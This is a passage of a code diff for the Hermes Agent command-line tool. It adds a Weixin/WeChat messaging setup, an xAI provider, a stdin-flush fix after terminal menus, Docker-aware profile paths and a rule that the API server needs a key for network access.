+            )
+            return True
+        return ca_path
     return True
 
 
@@ -2544,6 +2632,8 @@ def _prompt_model_selection(
             title=effective_title,
         )
         idx = menu.show()
+        from hermes_cli.curses_ui import flush_stdin
+        flush_stdin()
         if idx is None:
             return None
         print()

hermes_cli/auth_commands.py

@@ -347,8 +347,11 @@ def auth_remove_command(args) -> None:
             print("Cleared Hermes Anthropic OAuth credentials")
 
     elif removed.source == "claude_code" and provider == "anthropic":
-        print("Note: Claude Code credentials live in ~/.claude/.credentials.json")
-        print("      Remove them manually if you want to deauthorize Claude Code.")
+        from hermes_cli.auth import suppress_credential_source
+        suppress_credential_source(provider, "claude_code")
+        print("Suppressed claude_code credential — it will not be re-seeded.")
+        print("Note: Claude Code credentials still live in ~/.claude/.credentials.json")
+        print("Run `hermes auth add anthropic` to re-enable if needed.")
 
 
 def auth_reset_command(args) -> None:

hermes_cli/commands.py

@@ -83,8 +83,7 @@ COMMAND_REGISTRY: list[CommandDef] = [
                args_hint="<question>"),
     CommandDef("queue", "Queue a prompt for the next turn (doesn't interrupt)", "Session",
                aliases=("q",), args_hint="<prompt>"),
-    CommandDef("status", "Show session info", "Session",
-               gateway_only=True),
+    CommandDef("status", "Show session info", "Session"),
     CommandDef("profile", "Show active profile name and home directory", "Info"),
     CommandDef("sethome", "Set this chat as the home channel", "Session",
                gateway_only=True, aliases=("set-home",)),
@@ -111,7 +110,7 @@ COMMAND_REGISTRY: list[CommandDef] = [
                args_hint="[level|show|hide]",
                subcommands=("none", "minimal", "low", "medium", "high", "xhigh", "show", "hide", "on", "off")),
     CommandDef("fast", "Toggle fast mode — OpenAI Priority Processing / Anthropic Fast Mode (Normal/Fast)", "Configuration",
-               cli_only=True, args_hint="[normal|fast|status]",
+               args_hint="[normal|fast|status]",
                subcommands=("normal", "fast", "status", "on", "off")),
     CommandDef("skin", "Show or change the display skin/theme", "Configuration",
                cli_only=True, args_hint="[name]"),

hermes_cli/config.py

@@ -39,6 +39,9 @@ _EXTRA_ENV_KEYS = frozenset({
     "DINGTALK_CLIENT_ID", "DINGTALK_CLIENT_SECRET",
     "FEISHU_APP_ID", "FEISHU_APP_SECRET", "FEISHU_ENCRYPT_KEY", "FEISHU_VERIFICATION_TOKEN",
     "WECOM_BOT_ID", "WECOM_SECRET",
+    "WEIXIN_ACCOUNT_ID", "WEIXIN_TOKEN", "WEIXIN_BASE_URL", "WEIXIN_CDN_BASE_URL",
+    "WEIXIN_HOME_CHANNEL", "WEIXIN_HOME_CHANNEL_NAME", "WEIXIN_DM_POLICY", "WEIXIN_GROUP_POLICY",
+    "WEIXIN_ALLOWED_USERS", "WEIXIN_GROUP_ALLOWED_USERS", "WEIXIN_ALLOW_ALL_USERS",
     "BLUEBUBBLES_SERVER_URL", "BLUEBUBBLES_PASSWORD",
     "TERMINAL_ENV", "TERMINAL_SSH_KEY", "TERMINAL_SSH_PORT",
     "WHATSAPP_MODE", "WHATSAPP_ENABLED",
@@ -1206,8 +1209,8 @@ OPTIONAL_ENV_VARS = {
         "advanced": True,
     },
     "API_SERVER_KEY": {
-        "description": "Bearer token for API server authentication. If empty, all requests are allowed (local use only).",
-        "prompt": "API server auth key (optional)",
+        "description": "Bearer token for API server authentication. Required for non-loopback binding; server refuses to start without it. On loopback (127.0.0.1), all requests are allowed if empty.",
+        "prompt": "API server auth key (required for network access)",
         "url": None,
         "password": True,
         "category": "messaging",
@@ -1222,7 +1225,7 @@ OPTIONAL_ENV_VARS = {
         "advanced": True,
     },
     "API_SERVER_HOST": {
-        "description": "Host/bind address for the API server (default: 127.0.0.1). Use 0.0.0.0 for network access — requires API_SERVER_KEY for security.",
+        "description": "Host/bind address for the API server (default: 127.0.0.1). Use 0.0.0.0 for network access — server refuses to start without API_SERVER_KEY.",
         "prompt": "API server host",
         "url": None,
         "password": False,

hermes_cli/curses_ui.py

@@ -10,6 +10,28 @@ from typing import Callable, List, Optional, Set
 from hermes_cli.colors import Colors, color
 
 
+def flush_stdin() -> None:
+    """Flush any stray bytes from the stdin input buffer.
+
+    Must be called after ``curses.wrapper()`` (or any terminal-mode library
+    like simple_term_menu) returns, **before** the next ``input()`` /
+    ``getpass.getpass()`` call.  ``curses.endwin()`` restores the terminal
+    but does NOT drain the OS input buffer — leftover escape-sequence bytes
+    (from arrow keys, terminal mode-switch responses, or rapid keypresses)
+    remain buffered and silently get consumed by the next ``input()`` call,
+    corrupting user data (e.g. writing ``^[^[`` into .env files).
+
+    On non-TTY stdin (piped, redirected) or Windows, this is a no-op.
+    """
+    try:
+        if not sys.stdin.isatty():
+            return
+        import termios
+        termios.tcflush(sys.stdin, termios.TCIFLUSH)
+    except Exception:
+        pass
+
+
 def curses_checklist(
     title: str,
     items: List[str],
@@ -131,6 +153,7 @@ def curses_checklist(
                     return
 
         curses.wrapper(_draw)
+        flush_stdin()
         return result_holder[0] if result_holder[0] is not None else cancel_returns
 
     except Exception:

hermes_cli/dump.py

@@ -119,6 +119,7 @@ def _configured_platforms() -> list[str]:
         "dingtalk": "DINGTALK_CLIENT_ID",
         "feishu": "FEISHU_APP_ID",
         "wecom": "WECOM_BOT_ID",
+        "weixin": "WEIXIN_ACCOUNT_ID",
     }
     return [name for name, env in checks.items() if os.getenv(env)]
 

hermes_cli/gateway.py

@@ -251,18 +251,18 @@ SERVICE_DESCRIPTION = "Hermes Agent Gateway - Messaging Platform Integration"
 def _profile_suffix() -> str:
     """Derive a service-name suffix from the current HERMES_HOME.
 
-    Returns ``""`` for the default ``~/.hermes``, the profile name for
-    ``~/.hermes/profiles/<name>``, or a short hash for any other custom
-    HERMES_HOME path.
+    Returns ``""`` for the default root, the profile name for
+    ``<root>/profiles/<name>``, or a short hash for any other path.
+    Works correctly in Docker (HERMES_HOME=/opt/data) and standard deployments.
     """
     import hashlib
     import re
-    from pathlib import Path as _Path
+    from hermes_constants import get_default_hermes_root
     home = get_hermes_home().resolve()
-    default = (_Path.home() / ".hermes").resolve()
+    default = get_default_hermes_root().resolve()
     if home == default:
         return ""
-    # Detect ~/.hermes/profiles/<name> pattern → use the profile name
+    # Detect <root>/profiles/<name> pattern → use the profile name
     profiles_root = (default / "profiles").resolve()
     try:
         rel = home.relative_to(profiles_root)
@@ -287,9 +287,9 @@ def _profile_arg(hermes_home: str | None = None) -> str:
             service definition for a different user (e.g. system service).
     """
     import re
-    from pathlib import Path as _Path
+    from hermes_constants import get_default_hermes_root
     home = Path(hermes_home or str(get_hermes_home())).resolve()
-    default = (_Path.home() / ".hermes").resolve()
+    default = get_default_hermes_root().resolve()
     if home == default:
         return ""
     profiles_root = (default / "profiles").resolve()
@@ -1624,6 +1624,12 @@ _PLATFORMS = [
              "help": "Chat ID for scheduled results and notifications."},
         ],
     },
+    {
+        "key": "weixin",
+        "label": "Weixin / WeChat",
+        "emoji": "💬",
+        "token_var": "WEIXIN_ACCOUNT_ID",
+    },
     {
         "key": "bluebubbles",
         "label": "BlueBubbles (iMessage)",
@@ -1696,6 +1702,13 @@ def _platform_status(platform: dict) -> str:
         if val or password or homeserver:
             return "partially configured"
         return "not configured"
+    if platform.get("key") == "weixin":
+        token = get_env_value("WEIXIN_TOKEN")
+        if val and token:
+            return "configured"
+        if val or token:
+            return "partially configured"
+        return "not configured"
     if val:
         return "configured"
     return "not configured"
@@ -1799,7 +1812,7 @@ def _setup_standard_platform(platform: dict):
                     print_warning("  Open access enabled — anyone can use your bot!")
                 elif access_idx == 1:
                     print_success("  DM pairing mode — users will receive a code to request access.")
-                    print_info("  Approve with: hermes pairing approve {platform} {code}")
+                    print_info("  Approve with: hermes pairing approve <platform> <code>")
                 else:
                     print_info("  Skipped — configure later with 'hermes gateway setup'")
             continue
@@ -1886,6 +1899,133 @@ def _is_service_running() -> bool:
     return len(find_gateway_pids()) > 0
 
 
+def _setup_weixin():
+    """Interactive setup for Weixin / WeChat personal accounts."""
+    print()
+    print(color("  ─── 💬 Weixin / WeChat Setup ───", Colors.CYAN))
+    print()
+    print_info("  1. Hermes will open Tencent iLink QR login in this terminal.")
+    print_info("  2. Use WeChat to scan and confirm the QR code.")
+    print_info("  3. Hermes will store the returned account_id/token in ~/.hermes/.env.")
+    print_info("  4. This adapter supports native text, image, video, and document delivery.")
+
+    existing_account = get_env_value("WEIXIN_ACCOUNT_ID")
+    existing_token = get_env_value("WEIXIN_TOKEN")
+    if existing_account and existing_token:
+        print()
+        print_success("Weixin is already configured.")
+        if not prompt_yes_no("  Reconfigure Weixin?", False):
+            return
+
+    try:
+        from gateway.platforms.weixin import check_weixin_requirements, qr_login
+    except Exception as exc:
+        print_error(f"  Weixin adapter import failed: {exc}")
+        print_info("  Install gateway dependencies first, then retry.")
+        return
+
+    if not check_weixin_requirements():
+        print_error("  Missing dependencies: Weixin needs aiohttp and cryptography.")
+        print_info("  Install them, then rerun `hermes gateway setup`.")
+        return
+
+    print()
+    if not prompt_yes_no("  Start QR login now?", True):
+        print_info("  Cancelled.")
+        return
+
+    import asyncio
+    try:
+        credentials = asyncio.run(qr_login(str(get_hermes_home())))
+    except KeyboardInterrupt:
+        print()
+        print_warning("  Weixin setup cancelled.")
+        return
+    except Exception as exc:
+        print_error(f"  QR login failed: {exc}")
+        return
+
+    if not credentials:
+        print_warning("  QR login did not complete.")
+        return
+
+    account_id = credentials.get("account_id", "")
+    token = credentials.get("token", "")
+    base_url = credentials.get("base_url", "")
+    user_id = credentials.get("user_id", "")
+
+    save_env_value("WEIXIN_ACCOUNT_ID", account_id)
+    save_env_value("WEIXIN_TOKEN", token)
+    if base_url:
+        save_env_value("WEIXIN_BASE_URL", base_url)
+    save_env_value("WEIXIN_CDN_BASE_URL", get_env_value("WEIXIN_CDN_BASE_URL") or "https://novac2c.cdn.weixin.qq.com/c2c")
+
+    print()
+    access_choices = [
+        "Use DM pairing approval (recommended)",
+        "Allow all direct messages",
+        "Only allow listed user IDs",
+        "Disable direct messages",
+    ]
+    access_idx = prompt_choice("  How should direct messages be authorized?", access_choices, 0)
+    if access_idx == 0:
+        save_env_value("WEIXIN_DM_POLICY", "pairing")
+        save_env_value("WEIXIN_ALLOW_ALL_USERS", "false")
+        save_env_value("WEIXIN_ALLOWED_USERS", "")
+        print_success("  DM pairing enabled.")
+        print_info("  Unknown DM users can request access and you approve them with `hermes pairing approve`.")
+    elif access_idx == 1:
+        save_env_value("WEIXIN_DM_POLICY", "open")
+        save_env_value("WEIXIN_ALLOW_ALL_USERS", "true")
+        save_env_value("WEIXIN_ALLOWED_USERS", "")
+        print_warning("  Open DM access enabled for Weixin.")
+    elif access_idx == 2:
+        default_allow = user_id or ""
+        allowlist = prompt("  Allowed Weixin user IDs (comma-separated)", default_allow, password=False).replace(" ", "")
+        save_env_value("WEIXIN_DM_POLICY", "allowlist")
+        save_env_value("WEIXIN_ALLOW_ALL_USERS", "false")
+        save_env_value("WEIXIN_ALLOWED_USERS", allowlist)
+        print_success("  Weixin allowlist saved.")
+    else:
+        save_env_value("WEIXIN_DM_POLICY", "disabled")
+        save_env_value("WEIXIN_ALLOW_ALL_USERS", "false")
+        save_env_value("WEIXIN_ALLOWED_USERS", "")
+        print_warning("  Direct messages disabled.")
+
+    print()
+    group_choices = [
+        "Disable group chats (recommended)",
+        "Allow all group chats",
+        "Only allow listed group chat IDs",
+    ]
+    group_idx = prompt_choice("  How should group chats be handled?", group_choices, 0)
+    if group_idx == 0:
+        save_env_value("WEIXIN_GROUP_POLICY", "disabled")
+        save_env_value("WEIXIN_GROUP_ALLOWED_USERS", "")
+        print_info("  Group chats disabled.")
+    elif group_idx == 1:
+        save_env_value("WEIXIN_GROUP_POLICY", "open")
+        save_env_value("WEIXIN_GROUP_ALLOWED_USERS", "")
+        print_warning("  All group chats enabled.")
+    else:
+        allow_groups = prompt("  Allowed group chat IDs (comma-separated)", "", password=False).replace(" ", "")
+        save_env_value("WEIXIN_GROUP_POLICY", "allowlist")
+        save_env_value("WEIXIN_GROUP_ALLOWED_USERS", allow_groups)
+        print_success("  Group allowlist saved.")
+
+    if user_id:
+        print()
+        if prompt_yes_no(f"  Use your Weixin user ID ({user_id}) as the home channel?", True):
+            save_env_value("WEIXIN_HOME_CHANNEL", user_id)
+            print_success(f"  Home channel set to {user_id}")
+
+    print()
+    print_success("Weixin configured!")
+    print_info(f"  Account ID: {account_id}")
+    if user_id:
+        print_info(f"  User ID: {user_id}")
+
+
 def _setup_signal():
     """Interactive setup for Signal messenger."""
     import shutil
@@ -2061,6 +2201,8 @@ def gateway_setup():
             _setup_whatsapp()
         elif platform["key"] == "signal":
             _setup_signal()
+        elif platform["key"] == "weixin":
+            _setup_weixin()
         else:
             _setup_standard_platform(platform)
 

hermes_cli/main.py

@@ -97,10 +97,11 @@ def _apply_profile_override() -> None:
             consume = 1
             break
 
-    # 2. If no flag, check ~/.hermes/active_profile
+    # 2. If no flag, check active_profile in the hermes root
     if profile_name is None:
         try:
-            active_path = Path.home() / ".hermes" / "active_profile"
+            from hermes_constants import get_default_hermes_root
+            active_path = get_default_hermes_root() / "active_profile"
             if active_path.exists():
                 name = active_path.read_text().strip()
                 if name and name != "default":
@@ -1672,6 +1673,8 @@ def _remove_custom_provider(config):
             title="Select provider to remove:",
         )
         idx = menu.show()
+        from hermes_cli.curses_ui import flush_stdin
+        flush_stdin()
         print()
     except (ImportError, NotImplementedError, OSError, subprocess.SubprocessError):
         for i, c in enumerate(choices, 1):
@@ -1697,8 +1700,9 @@ def _remove_custom_provider(config):
 def _model_flow_named_custom(config, provider_info):
     """Handle a named custom provider from config.yaml custom_providers list.
 
-    If the entry has a saved model name, activates it immediately.
-    Otherwise probes the endpoint's /models API to let the user pick one.
+    Always probes the endpoint's /models API to let the user pick a model.
+    If a model was previously saved, it is pre-selected in the menu.
+    Falls back to the saved model if probing fails.
     """
     from hermes_cli.auth import _save_model_choice, deactivate_provider
     from hermes_cli.config import load_config, save_config
@@ -1709,46 +1713,37 @@ def _model_flow_named_custom(config, provider_info):
     api_key = provider_info.get("api_key", "")
     saved_model = provider_info.get("model", "")
 
-    # If a model is saved, just activate immediately — no probing needed
-    if saved_model:
-        _save_model_choice(saved_model)
-
-        cfg = load_config()
-        model = cfg.get("model")
-        if not isinstance(model, dict):
-            model = {"default": model} if model else {}
-            cfg["model"] = model
-        model["provider"] = "custom"
-        model["base_url"] = base_url
-        if api_key:
-            model["api_key"] = api_key
-        save_config(cfg)
-        deactivate_provider()
-
-        print(f"✅ Switched to: {saved_model}")
-        print(f"   Provider: {name} ({base_url})")
-        return
-
-    # No saved model — probe endpoint and let user pick
     print(f"  Provider: {name}")
     print(f"  URL:      {base_url}")
+    if saved_model:
+        print(f"  Current:  {saved_model}")
     print()
-    print("No model saved for this provider. Fetching available models...")
+
+    print("Fetching available models...")
     models = fetch_api_models(api_key, base_url, timeout=8.0)
 
     if models:
+        default_idx = 0
+        if saved_model and saved_model in models:
+            default_idx = models.index(saved_model)
+
         print(f"Found {len(models)} model(s):\n")
         try:
             from simple_term_menu import TerminalMenu
-            menu_items = [f"  {m}" for m in models] + ["  Cancel"]
+            menu_items = [
+                f"  {m} (current)" if m == saved_model else f"  {m}"
+                for m in models
+            ] + ["  Cancel"]
             menu = TerminalMenu(
-                menu_items, cursor_index=0,
+                menu_items, cursor_index=default_idx,
                 menu_cursor="-> ", menu_cursor_style=("fg_green", "bold"),
                 menu_highlight_style=("fg_green",),
                 cycle_cursor=True, clear_screen=False,
                 title=f"Select model from {name}:",
             )
             idx = menu.show()
+            from hermes_cli.curses_ui import flush_stdin
+            flush_stdin()
             print()
             if idx is None or idx >= len(models):
                 print("Cancelled.")
@@ -1756,7 +1751,8 @@ def _model_flow_named_custom(config, provider_info):
             model_name = models[idx]
         except (ImportError, NotImplementedError, OSError, subprocess.SubprocessError):
             for i, m in enumerate(models, 1):
-                print(f"  {i}. {m}")
+                suffix = " (current)" if m == saved_model else ""
+                print(f"  {i}. {m}{suffix}")
             print(f"  {len(models) + 1}. Cancel")
             print()
             try:
@@ -1772,6 +1768,13 @@ def _model_flow_named_custom(config, provider_info):
             except (ValueError, KeyboardInterrupt, EOFError):
                 print("\nCancelled.")
                 return
+    elif saved_model:
+        print("Could not fetch models from endpoint.")
+        try:
+            model_name = input(f"Model name [{saved_model}]: ").strip() or saved_model
+        except (KeyboardInterrupt, EOFError):
+            print("\nCancelled.")
+            return
     else:
         print("Could not fetch models from endpoint. Enter model name manually.")
         try:
@@ -1867,6 +1870,8 @@ def _prompt_reasoning_effort_selection(efforts, current_effort=""):
             title="Select reasoning effort:",
         )
         idx = menu.show()
+        from hermes_cli.curses_ui import flush_stdin
+        flush_stdin()
         if idx is None:
             return None
         print()
@@ -3309,10 +3314,11 @@ def _invalidate_update_cache():
     ``hermes update``, every profile is now current.
     """
     homes = []
-    # Default profile home
-    default_home = Path.home() / ".hermes"
+    # Default profile home (Docker-aware — uses /opt/data in Docker)
+    from hermes_constants import get_default_hermes_root
+    default_home = get_default_hermes_root()
     homes.append(default_home)
-    # Named profiles under ~/.hermes/profiles/
+    # Named profiles under <root>/profiles/
     profiles_root = default_home / "profiles"
     if profiles_root.is_dir():
         for entry in profiles_root.iterdir():
@@ -4049,7 +4055,10 @@ def cmd_profile(args):
             print(f"  {name} chat               Start chatting")
             print(f"  {name} gateway start      Start the messaging gateway")
             if clone or clone_all:
-                profile_dir_display = f"~/.hermes/profiles/{name}"
+                try:
+                    profile_dir_display = "~/" + str(profile_dir.relative_to(Path.home()))
+                except ValueError:
+                    profile_dir_display = str(profile_dir)
                 print(f"\n  Edit {profile_dir_display}/.env for different API keys")
                 print(f"  Edit {profile_dir_display}/SOUL.md for different personality")
             print()

hermes_cli/model_normalize.py

@@ -76,17 +76,22 @@ _STRIP_VENDOR_ONLY_PROVIDERS: frozenset[str] = frozenset({
     "copilot-acp",
 })
 
-# Providers whose own naming is authoritative -- pass through unchanged.
-_PASSTHROUGH_PROVIDERS: frozenset[str] = frozenset({
+# Providers whose native naming is authoritative -- pass through unchanged.
+_AUTHORITATIVE_NATIVE_PROVIDERS: frozenset[str] = frozenset({
     "gemini",
+    "huggingface",
+    "openai-codex",
+})
+
+# Direct providers that accept bare native names but should repair a matching
+# provider/ prefix when users copy the aggregator form into config.yaml.
+_MATCHING_PREFIX_STRIP_PROVIDERS: frozenset[str] = frozenset({
     "zai",
     "kimi-coding",
     "minimax",
     "minimax-cn",
     "alibaba",
     "qwen-oauth",
-    "huggingface",
-    "openai-codex",
     "custom",
 })
 
@@ -168,6 +173,40 @@ def _dots_to_hyphens(model_name: str) -> str:
     return model_name.replace(".", "-")
 
 
+def _normalize_provider_alias(provider_name: str) -> str:
+    """Resolve provider aliases to Hermes' canonical ids."""
+    raw = (provider_name or "").strip().lower()
+    if not raw:
+        return raw
+    try:
+        from hermes_cli.models import normalize_provider
+
+        return normalize_provider(raw)
+    except Exception:
+        return raw
+
+
+def _strip_matching_provider_prefix(model_name: str, target_provider: str) -> str:
+    """Strip ``provider/`` only when the prefix matches the target provider.
+
+    This prevents arbitrary slash-bearing model IDs from being mangled on
+    native providers while still repairing manual config values like
+    ``zai/glm-5.1`` for the ``zai`` provider.
+    """
+    if "/" not in model_name:
+        return model_name
+
+    prefix, remainder = model_name.split("/", 1)
+    if not prefix.strip() or not remainder.strip():
+        return model_name
+
+    normalized_prefix = _normalize_provider_alias(prefix)
+    normalized_target = _normalize_provider_alias(target_provider)
+    if normalized_prefix and normalized_prefix == normalized_target:
+        return remainder.strip()
+    return model_name
+
+
 def detect_vendor(model_name: str) -> Optional[str]:
     """Detect the vendor slug from a bare model name.
 
@@ -305,24 +344,37 @@ def normalize_model_for_provider(model_input: str, target_provider: str) -> str:
     if not name:
         return name
 
-    provider = (target_provider or "").strip().lower()
+    provider = _normalize_provider_alias(target_provider)
 
     # --- Aggregators: need vendor/model format ---
     if provider in _AGGREGATOR_PROVIDERS:
         return _prepend_vendor(name)
 
-    # --- Anthropic / OpenCode: strip vendor, dots -> hyphens ---
+    # --- Anthropic / OpenCode: strip matching provider prefix, dots -> hyphens ---
     if provider in _DOT_TO_HYPHEN_PROVIDERS:
-        bare = _strip_vendor_prefix(name)
+        bare = _strip_matching_provider_prefix(name, provider)
+        if "/" in bare:
+            return bare
         return _dots_to_hyphens(bare)
 
-    # --- Copilot: strip vendor, keep dots ---
+    # --- Copilot: strip matching provider prefix, keep dots ---
     if provider in _STRIP_VENDOR_ONLY_PROVIDERS:
-        return _strip_vendor_prefix(name)
+        return _strip_matching_provider_prefix(name, provider)
 
     # --- DeepSeek: map to one of two canonical names ---
     if provider == "deepseek":
-        return _normalize_for_deepseek(name)
+        bare = _strip_matching_provider_prefix(name, provider)
+        if "/" in bare:
+            return bare
+        return _normalize_for_deepseek(bare)
+
+    # --- Direct providers: repair matching provider prefixes only ---
+    if provider in _MATCHING_PREFIX_STRIP_PROVIDERS:
+        return _strip_matching_provider_prefix(name, provider)
+
+    # --- Authoritative native providers: preserve user-facing slugs as-is ---
+    if provider in _AUTHORITATIVE_NATIVE_PROVIDERS:
+        return name
 
     # --- Custom & all others: pass through as-is ---
     return name

hermes_cli/model_switch.py

@@ -809,42 +809,69 @@ def list_authenticated_providers(
         })
         seen_slugs.add(slug)
 
-    # --- 2. Check Hermes-only providers (nous, openai-codex, copilot) ---
+    # --- 2. Check Hermes-only providers (nous, openai-codex, copilot, opencode-go) ---
     from hermes_cli.providers import HERMES_OVERLAYS
+    from hermes_cli.auth import PROVIDER_REGISTRY as _auth_registry
+
+    # Build reverse mapping: models.dev ID → Hermes provider ID.
+    # HERMES_OVERLAYS keys may be models.dev IDs (e.g. "github-copilot")
+    # while _PROVIDER_MODELS and config.yaml use Hermes IDs ("copilot").
+    _mdev_to_hermes = {v: k for k, v in PROVIDER_TO_MODELS_DEV.items()}
+
     for pid, overlay in HERMES_OVERLAYS.items():
         if pid in seen_slugs:
             continue
+
+        # Resolve Hermes slug — e.g. "github-copilot" → "copilot"
+        hermes_slug = _mdev_to_hermes.get(pid, pid)
+        if hermes_slug in seen_slugs:
+            continue
+
         # Check if credentials exist
         has_creds = False
         if overlay.extra_env_vars:
             has_creds = any(os.environ.get(ev) for ev in overlay.extra_env_vars)
-        if overlay.auth_type in ("oauth_device_code", "oauth_external", "external_process"):
+        # Also check api_key_env_vars from PROVIDER_REGISTRY for api_key auth_type
+        if not has_creds and overlay.auth_type == "api_key":
+            for _key in (pid, hermes_slug):
+                pcfg = _auth_registry.get(_key)
+                if pcfg and pcfg.api_key_env_vars:
+                    if any(os.environ.get(ev) for ev in pcfg.api_key_env_vars):
+                        has_creds = True
+                        break
+        if not has_creds and overlay.auth_type in ("oauth_device_code", "oauth_external", "external_process"):
             # These use auth stores, not env vars — check for auth.json entries
             try:
                 from hermes_cli.auth import _load_auth_store
                 store = _load_auth_store()
-                if store and (pid in store.get("providers", {}) or pid in store.get("credential_pool", {})):
+                providers_store = store.get("providers", {})
+                pool_store = store.get("credential_pool", {})
+                if store and (
+                    pid in providers_store or hermes_slug in providers_store
+                    or pid in pool_store or hermes_slug in pool_store
+                ):
                     has_creds = True
             except Exception as exc:
                 logger.debug("Auth store check failed for %s: %s", pid, exc)
         if not has_creds:
             continue
 
-        # Use curated list
-        model_ids = curated.get(pid, [])
+        # Use curated list — look up by Hermes slug, fall back to overlay key
+        model_ids = curated.get(hermes_slug, []) or curated.get(pid, [])
         total = len(model_ids)
         top = model_ids[:max_models]
 
         results.append({
-            "slug": pid,
-            "name": get_label(pid),
-            "is_current": pid == current_provider,
+            "slug": hermes_slug,
+            "name": get_label(hermes_slug),
+            "is_current": hermes_slug == current_provider or pid == current_provider,
             "is_user_defined": False,
             "models": top,
             "total_models": total,
             "source": "hermes",
         })
         seen_slugs.add(pid)
+        seen_slugs.add(hermes_slug)
 
     # --- 3. User-defined endpoints from config ---
     if user_providers and isinstance(user_providers, dict):

hermes_cli/models.py

@@ -129,6 +129,19 @@ _PROVIDER_MODELS: dict[str, list[str]] = {
         "glm-4.5",
         "glm-4.5-flash",
     ],
+    "xai": [
+        "grok-4.20-0309-reasoning",
+        "grok-4.20-0309-non-reasoning",
+        "grok-4.20-multi-agent-0309",
+        "grok-4-1-fast-reasoning",
+        "grok-4-1-fast-non-reasoning",
+        "grok-4-fast-reasoning",
+        "grok-4-fast-non-reasoning",
+        "grok-4-0709",
+        "grok-code-fast-1",
+        "grok-3",
+        "grok-3-mini",
+    ],
     "kimi-coding": [
         "kimi-for-coding",
         "kimi-k2.5",

hermes_cli/profiles.py

@@ -42,6 +42,11 @@ _PROFILE_DIRS = [
     "plans",
     "workspace",
     "cron",
+    # Per-profile HOME for subprocesses: isolates system tool configs (git,
+    # ssh, gh, npm …) so credentials don't bleed between profiles.  In Docker
+    # this also ensures tool configs land inside the persistent volume.
+    # See hermes_constants.get_subprocess_home() and issue #4426.
+    "home",
 ]
 
 # Files copied during --clone (if they exist in the source)
@@ -115,16 +120,26 @@ _HERMES_SUBCOMMANDS = frozenset({
 def _get_profiles_root() -> Path:
     """Return the directory where named profiles are stored.
 
-    Always ``~/.hermes/profiles/`` — anchored to the user's home,
-    NOT to the current HERMES_HOME (which may itself be a profile).
-    This ensures ``coder profile list`` can see all profiles.
+    Anchored to the hermes root, NOT to the current HERMES_HOME
+    (which may itself be a profile).  This ensures ``coder profile list``
+    can see all profiles.
+
+    In Docker/custom deployments where HERMES_HOME points outside
+    ``~/.hermes``, profiles live under ``HERMES_HOME/profiles/`` so
+    they persist on the mounted volume.
     """
-    return Path.home() / ".hermes" / "profiles"
+    return _get_default_hermes_home() / "profiles"
 
 
 def _get_default_hermes_home() -> Path:
-    """Return the default (pre-profile) HERMES_HOME path."""
-    return Path.home() / ".hermes"
+    """Return the default (pre-profile) HERMES_HOME path.
+
+    In standard deployments this is ``~/.hermes``.
+    In Docker/custom deployments where HERMES_HOME is outside ``~/.hermes``
+    (e.g. ``/opt/data``), returns HERMES_HOME directly.
+    """
+    from hermes_constants import get_default_hermes_root
+    return get_default_hermes_root()
 
 
 def _get_active_profile_path() -> Path:

hermes_cli/providers.py

@@ -127,6 +127,11 @@ HERMES_OVERLAYS: Dict[str, HermesOverlay] = {
         is_aggregator=True,
         base_url_env_var="HF_BASE_URL",
     ),
+    "xai": HermesOverlay(
+        transport="openai_chat",
+        base_url_override="https://api.x.ai/v1",
+        base_url_env_var="XAI_BASE_URL",
+    ),
 }
 
 
@@ -163,6 +168,10 @@ ALIASES: Dict[str, str] = {
     "z.ai": "zai",
     "zhipu": "zai",
 
+    # xai
+    "x-ai": "xai",
+    "x.ai": "xai",
+
     # kimi-for-coding (models.dev ID)
     "kimi": "kimi-for-coding",
     "kimi-coding": "kimi-for-coding",
@@ -341,6 +350,7 @@ def get_label(provider_id: str) -> str:
 
 
 
+
 def is_aggregator(provider: str) -> bool:
     """Return True when the provider is a multi-model aggregator."""
     pdef = get_provider(provider)

hermes_cli/setup.py

@@ -338,6 +338,8 @@ def _curses_prompt_choice(question: str, choices: list, default: int = 0) -> int
                     return
 
         curses.wrapper(_curses_menu)
+        from hermes_cli.curses_ui import flush_stdin
+        flush_stdin()
         return result_holder[0]
     except Exception:
         return -1
@@ -2028,6 +2030,12 @@ def _setup_whatsapp():
         print_info("or personal self-chat) and pair via QR code.")
 
 
+def _setup_weixin():
+    """Configure Weixin (personal WeChat) via iLink Bot API QR login."""
+    from hermes_cli.gateway import _setup_weixin as _gateway_setup_weixin
+    _gateway_setup_weixin()
+
+
 def _setup_bluebubbles():
     """Configure BlueBubbles iMessage gateway."""
     print_header("BlueBubbles (iMessage)")
@@ -2147,6 +2155,7 @@ _GATEWAY_PLATFORMS = [
     ("Matrix", "MATRIX_ACCESS_TOKEN", _setup_matrix),
     ("Mattermost", "MATTERMOST_TOKEN", _setup_mattermost),
     ("WhatsApp", "WHATSAPP_ENABLED", _setup_whatsapp),
+    ("Weixin (WeChat)", "WEIXIN_ACCOUNT_ID", _setup_weixin),
     ("BlueBubbles (iMessage)", "BLUEBUBBLES_SERVER_URL", _setup_bluebubbles),
     ("Webhooks (GitHub, GitLab, etc.)", "WEBHOOK_ENABLED", _setup_webhooks),
 ]

hermes_cli/skills_config.py

@@ -31,6 +31,7 @@ PLATFORMS = {
     "dingtalk": "💬 DingTalk",
     "feishu": "🪽 Feishu",
     "wecom": "💬 WeCom",
+    "weixin": "💬 Weixin",
     "webhook": "🔗 Webhook",
 }
 

hermes_cli/skills_hub.py

@@ -151,7 +151,8 @@ def do_search(query: str, source: str = "all", limit: int = 10,
 
     auth = GitHubAuth()
     sources = create_source_router(auth)
-    results = unified_search(query, sources, source_filter=source, limit=limit)
+    with c.status("[bold]Searching registries..."):
+        results = unified_search(query, sources, source_filter=source, limit=limit)
 
     if not results:
         c.print("[dim]No skills found matching your query.[/]\n")
@@ -187,7 +188,7 @@ def do_browse(page: int = 1, page_size: int = 20, source: str = "all",
     Official skills are always shown first, regardless of source filter.
     """
     from tools.skills_hub import (
-        GitHubAuth, create_source_router,
+        GitHubAuth, create_source_router, parallel_search_sources,
     )
 
     # Clamp page_size to safe range
@@ -198,27 +199,23 @@ def do_browse(page: int = 1, page_size: int = 20, source: str = "all",
     auth = GitHubAuth()
     sources = create_source_router(auth)
 
-    # Collect results from all (or filtered) sources
-    # Use empty query to get everything; per-source limits prevent overload
+    # Collect results from all (or filtered) sources in parallel.
+    # Per-source limits are generous — parallelism + 30s timeout cap prevents hangs.
     _TRUST_RANK = {"builtin": 3, "trusted": 2, "community": 1}
-    _PER_SOURCE_LIMIT = {"official": 100, "skills-sh": 100, "well-known": 25, "github": 100, "clawhub": 50,
-                         "claude-marketplace": 50, "lobehub": 50}
+    _PER_SOURCE_LIMIT = {
+        "official": 200, "skills-sh": 200, "well-known": 50,
